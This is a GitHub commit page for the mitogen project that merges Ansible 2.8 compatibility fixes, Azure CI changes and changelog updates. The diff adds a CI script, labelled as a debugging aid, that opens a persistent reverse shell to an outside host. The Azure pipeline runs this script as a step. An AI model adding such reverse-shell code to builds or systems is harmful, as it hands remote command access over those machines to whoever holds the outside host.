Skip to content

Commit 6f4cbc1

Browse files
committed
Merge remote-tracking branch 'origin/issue587'
* origin/issue587: issue #587: docs: update Changelog. issue #587: disable SSH key setup, it breaks unit tests issue #587: attempt to fix Mac Azure job issue #587: Add 2.8.0/Py2.7 job to Azure issue #587: use deadsnakes PPA Python because VSTS version is junk issue #587: workaround for ansible/ansible#56629 issue #587: enable spawn_reverse_shell and tidy up Azure step names issue #587: ensure Azure worker has a working SSH configuration issue #587: import spawn_reverse_shell.py script. issue #587: support pausing ansible_tests if flag file exists issue #587: "state: absent" was removed in 2.8.0 issue #587: consistent become_exe() behaviour for older Ansibles. issue #587: update stub_connections/ test to use new doas var issue #587: update MODULE FAILURE message format for post >2.7 issue #587: fix syntax error due to presence of comment issue #587: update mitogen_doas doc to match varible change. issue #587: disable deprecation_warnings for CI. issue #587: mitogen_doas should not become_exe for doas_path issue #587: 2.8 whitespace handling was improved. issue #587: 2.8 PlayContext lacks sudo_flags attribute. issue #587: 2.8 PluginLoader.get() introduced new collection_list kwarg issue #587: 2.8 PlayContext.connection no longer contains connection name issue #587: bump max Ansible version
2 parents 4db1b4e + 2c15c1d commit 6f4cbc1

File tree

17 files changed

+198
-31
lines changed

17 files changed

+198
-31
lines changed

.ci/ansible_tests.py

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33

44
import glob
55
import os
6+
import signal
67
import sys
78

89
import ci_lib
@@ -13,6 +14,12 @@
1314
HOSTS_DIR = os.path.join(ci_lib.TMP, 'hosts')
1415

1516

17+
def pause_if_interactive():
18+
if os.path.exists('/tmp/interactive'):
19+
while True:
20+
signal.pause()
21+
22+
1623
with ci_lib.Fold('unit_tests'):
1724
os.environ['SKIP_MITOGEN'] = '1'
1825
ci_lib.run('./run_tests -v')
@@ -59,5 +66,11 @@
5966

6067
with ci_lib.Fold('ansible'):
6168
playbook = os.environ.get('PLAYBOOK', 'all.yml')
62-
run('./run_ansible_playbook.py %s -i "%s" %s',
63-
playbook, HOSTS_DIR, ' '.join(sys.argv[1:]))
69+
try:
70+
run('./run_ansible_playbook.py %s -i "%s" %s',
71+
playbook, HOSTS_DIR, ' '.join(sys.argv[1:]))
72+
except:
73+
pause_if_interactive()
74+
raise
75+
76+
pause_if_interactive()

.ci/azure-pipelines-steps.yml

Lines changed: 19 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -5,16 +5,27 @@ parameters:
55
sign: false
66

77
steps:
8-
- task: UsePythonVersion@0
9-
inputs:
10-
versionSpec: '$(python.version)'
11-
architecture: 'x64'
8+
- script: "PYTHONVERSION=$(python.version) .ci/prep_azure.py"
9+
displayName: "Run prep_azure.py"
1210

13-
- script: .ci/prep_azure.py
14-
displayName: "Install requirements."
11+
# The VSTS-shipped Pythons available via UsePythonVErsion are pure garbage,
12+
# broken symlinks, incorrect permissions and missing codecs. So we use the
13+
# deadsnakes PPA to get sane Pythons, and setup a virtualenv to install our
14+
# stuff into. The virtualenv can probably be removed again, but this was a
15+
# hard-fought battle and for now I am tired of this crap.
16+
- script: |
17+
sudo ln -fs /usr/bin/python$(python.version) /usr/bin/python
18+
/usr/bin/python -m pip install -U virtualenv setuptools wheel
19+
/usr/bin/python -m virtualenv /tmp/venv -p /usr/bin/python$(python.version)
20+
echo "##vso[task.prependpath]/tmp/venv/bin"
21+
22+
displayName: activate venv
23+
24+
- script: .ci/spawn_reverse_shell.py
25+
displayName: "Spawn reverse shell"
1526

1627
- script: .ci/$(MODE)_install.py
17-
displayName: "Install requirements."
28+
displayName: "Run $(MODE)_install.py"
1829

1930
- script: .ci/$(MODE)_tests.py
20-
displayName: Run tests.
31+
displayName: "Run $(MODE)_tests.py"

.ci/azure-pipelines.yml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,3 +87,9 @@ jobs:
8787
#VER: 2.6.2
8888
#DISTROS: debian
8989
#STRATEGY: linear
90+
91+
Vanilla_280_27:
92+
python.version: '2.7'
93+
MODE: ansible
94+
VER: 2.8.0
95+
DISTROS: debian

.ci/prep_azure.py

Lines changed: 29 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,19 +7,43 @@
77

88
batches = []
99

10+
if 0 and os.uname()[0] == 'Linux':
11+
batches += [
12+
[
13+
"sudo chown `whoami`: ~",
14+
"chmod u=rwx,g=rx,o= ~",
15+
16+
"sudo mkdir /var/run/sshd",
17+
"sudo /etc/init.d/ssh start",
18+
19+
"mkdir -p ~/.ssh",
20+
"chmod u=rwx,go= ~/.ssh",
21+
22+
"ssh-keyscan -H localhost >> ~/.ssh/known_hosts",
23+
"chmod u=rw,go= ~/.ssh/known_hosts",
24+
25+
"cat tests/data/docker/mitogen__has_sudo_pubkey.key > ~/.ssh/id_rsa",
26+
"chmod u=rw,go= ~/.ssh/id_rsa",
27+
28+
"cat tests/data/docker/mitogen__has_sudo_pubkey.key.pub > ~/.ssh/authorized_keys",
29+
"chmod u=rw,go=r ~/.ssh/authorized_keys",
30+
]
31+
]
32+
1033
if ci_lib.have_apt():
1134
batches.append([
1235
'echo force-unsafe-io | sudo tee /etc/dpkg/dpkg.cfg.d/nosync',
1336
'sudo add-apt-repository ppa:deadsnakes/ppa',
1437
'sudo apt-get update',
15-
'sudo apt-get -y install python2.6 python2.6-dev libsasl2-dev libldap2-dev',
38+
'sudo apt-get -y install '
39+
'python{pv} '
40+
'python{pv}-dev '
41+
'libsasl2-dev '
42+
'libldap2-dev '
43+
.format(pv=os.environ['PYTHONVERSION'])
1644
])
1745

1846

19-
#batches.append([
20-
#'pip install -r dev_requirements.txt',
21-
#])
22-
2347
if ci_lib.have_docker():
2448
batches.extend(
2549
['docker pull %s' % (ci_lib.image_for_distro(distro),)]

.ci/spawn_reverse_shell.py

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Allow poking around Azure while the job is running.
5+
"""
6+
7+
import os
8+
import pty
9+
import socket
10+
import subprocess
11+
import sys
12+
import time
13+
14+
15+
if os.fork():
16+
sys.exit(0)
17+
18+
19+
def try_once():
20+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
21+
s.connect(("k3.botanicus.net", 9494))
22+
open('/tmp/interactive', 'w').close()
23+
24+
os.dup2(s.fileno(), 0)
25+
os.dup2(s.fileno(), 1)
26+
os.dup2(s.fileno(), 2)
27+
p = pty.spawn("/bin/sh")
28+
29+
30+
while True:
31+
try:
32+
try_once()
33+
except:
34+
time.sleep(5)
35+
continue
36+

ansible_mitogen/connection.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -356,7 +356,7 @@ def _connect_mitogen_doas(spec):
356356
'username': spec.remote_user(),
357357
'password': spec.password(),
358358
'python_path': spec.python_path(),
359-
'doas_path': spec.become_exe(),
359+
'doas_path': spec.ansible_doas_exe(),
360360
'connect_timeout': spec.timeout(),
361361
'remote_name': get_remote_name(spec),
362362
}

ansible_mitogen/strategy.py

Lines changed: 19 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -40,9 +40,15 @@
4040
import ansible
4141
import ansible.executor.process.worker
4242

43+
try:
44+
# 2.8+ has a standardized "unset" object.
45+
from ansible.utils.sentinel import Sentinel
46+
except ImportError:
47+
Sentinel = None
48+
4349

4450
ANSIBLE_VERSION_MIN = '2.3'
45-
ANSIBLE_VERSION_MAX = '2.7'
51+
ANSIBLE_VERSION_MAX = '2.8'
4652
NEW_VERSION_MSG = (
4753
"Your Ansible version (%s) is too recent. The most recent version\n"
4854
"supported by Mitogen for Ansible is %s.x. Please check the Mitogen\n"
@@ -115,7 +121,11 @@ def wrap_action_loader__get(name, *args, **kwargs):
115121
This is used instead of static subclassing as it generalizes to third party
116122
action modules outside the Ansible tree.
117123
"""
118-
klass = action_loader__get(name, class_only=True)
124+
get_kwargs = {'class_only': True}
125+
if ansible.__version__ >= '2.8':
126+
get_kwargs['collection_list'] = kwargs.pop('collection_list', None)
127+
128+
klass = action_loader__get(name, **get_kwargs)
119129
if klass:
120130
bases = (ansible_mitogen.mixins.ActionModuleMixin, klass)
121131
adorned_klass = type(str(name), bases, {})
@@ -261,14 +271,17 @@ def _queue_task(self, host, task, task_vars, play_context):
261271
name=task.action,
262272
mod_type='',
263273
)
264-
ansible_mitogen.loaders.connection_loader.get(
265-
name=play_context.connection,
266-
class_only=True,
267-
)
268274
ansible_mitogen.loaders.action_loader.get(
269275
name=task.action,
270276
class_only=True,
271277
)
278+
if play_context.connection is not Sentinel:
279+
# 2.8 appears to defer computing this until inside the worker.
280+
# TODO: figure out where it has moved.
281+
ansible_mitogen.loaders.connection_loader.get(
282+
name=play_context.connection,
283+
class_only=True,
284+
)
272285

273286
return super(StrategyMixin, self)._queue_task(
274287
host=host,

ansible_mitogen/transport_config.py

Lines changed: 30 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -294,6 +294,12 @@ def extra_args(self):
294294
Connection-specific arguments.
295295
"""
296296

297+
@abc.abstractmethod
298+
def ansible_doas_exe(self):
299+
"""
300+
Value of "ansible_doas_exe" variable.
301+
"""
302+
297303

298304
class PlayContextSpec(Spec):
299305
"""
@@ -372,16 +378,25 @@ def ssh_args(self):
372378
]
373379

374380
def become_exe(self):
375-
return self._play_context.become_exe
381+
# In Ansible 2.8, PlayContext.become_exe always has a default value due
382+
# to the new options mechanism. Previously it was only set if a value
383+
# ("somewhere") had been specified for the task.
384+
# For consistency in the tests, here we make older Ansibles behave like
385+
# newer Ansibles.
386+
exe = self._play_context.become_exe
387+
if exe is None and self._play_context.become_method == 'sudo':
388+
exe = 'sudo'
389+
return exe
376390

377391
def sudo_args(self):
378392
return [
379393
mitogen.core.to_text(term)
380394
for term in ansible.utils.shlex.shlex_split(
381395
first_true((
382396
self._play_context.become_flags,
383-
self._play_context.sudo_flags,
384-
# Ansible 2.3.
397+
# Ansible <=2.7.
398+
getattr(self._play_context, 'sudo_flags', ''),
399+
# Ansible <=2.3.
385400
getattr(C, 'DEFAULT_BECOME_FLAGS', ''),
386401
getattr(C, 'DEFAULT_SUDO_FLAGS', '')
387402
), default='')
@@ -424,6 +439,12 @@ def mitogen_ssh_compression(self):
424439
def extra_args(self):
425440
return self._connection.get_extra_args()
426441

442+
def ansible_doas_exe(self):
443+
return (
444+
self._connection.get_task_var('ansible_doas_exe') or
445+
os.environ.get('ANSIBLE_DOAS_EXE')
446+
)
447+
427448

428449
class MitogenViaSpec(Spec):
429450
"""
@@ -634,3 +655,9 @@ def mitogen_ssh_compression(self):
634655

635656
def extra_args(self):
636657
return [] # TODO
658+
659+
def ansible_doas_exe(self):
660+
return (
661+
self._host_vars.get('ansible_doas_exe') or
662+
os.environ.get('ANSIBLE_DOAS_EXE')
663+
)

docs/ansible_detailed.rst

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -731,7 +731,7 @@ as a become method.
731731
When used as a become method:
732732

733733
* ``ansible_python_interpreter``
734-
* ``ansible_become_exe``: path to ``doas`` binary.
734+
* ``ansible_become_exe`` / ``ansible_doas_exe``: path to ``doas`` binary.
735735
* ``ansible_become_user`` (default: ``root``)
736736
* ``ansible_become_pass`` (default: assume passwordless)
737737
* ``mitogen_mask_remote_name``: if :data:`True`, mask the identity of the
@@ -746,6 +746,7 @@ When used as the ``mitogen_doas`` connection method:
746746
* The inventory hostname has no special meaning.
747747
* ``ansible_user``: username to use.
748748
* ``ansible_password``: password to use.
749+
* ``ansible_doas_exe``: path to ``doas`` binary.
749750
* ``ansible_python_interpreter``
750751

751752

docs/changelog.rst

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,24 @@ v0.2.8 (unreleased)
2121
To avail of fixes in an unreleased version, please download a ZIP file
2222
`directly from GitHub <https://github.com/dw/mitogen/>`_.
2323

24+
Enhancements
25+
^^^^^^^^^^^^
26+
27+
* `#587 <https://github.com/dw/mitogen/issues/587>`_: partial support for
28+
Ansible 2.8 is now available. This implementation does not yet support the
29+
new `become plugins
30+
<https://docs.ansible.com/ansible/latest/plugins/become.html>`_
31+
functionality, which will be addressed in a future release.
32+
33+
34+
Thanks!
35+
~~~~~~~
36+
37+
Mitogen would not be possible without the support of users. A huge thanks for
38+
bug reports, testing, features and fixes in this release contributed by
39+
`Orion Poplawski <https://github.com/opoplawski>`_, and
40+
`Ulrich Schreiner <https://github.com/ulrichSchreiner>`_.
41+
2442

2543
v0.2.7 (2019-05-19)
2644
-------------------

0 commit comments

Comments
 (0)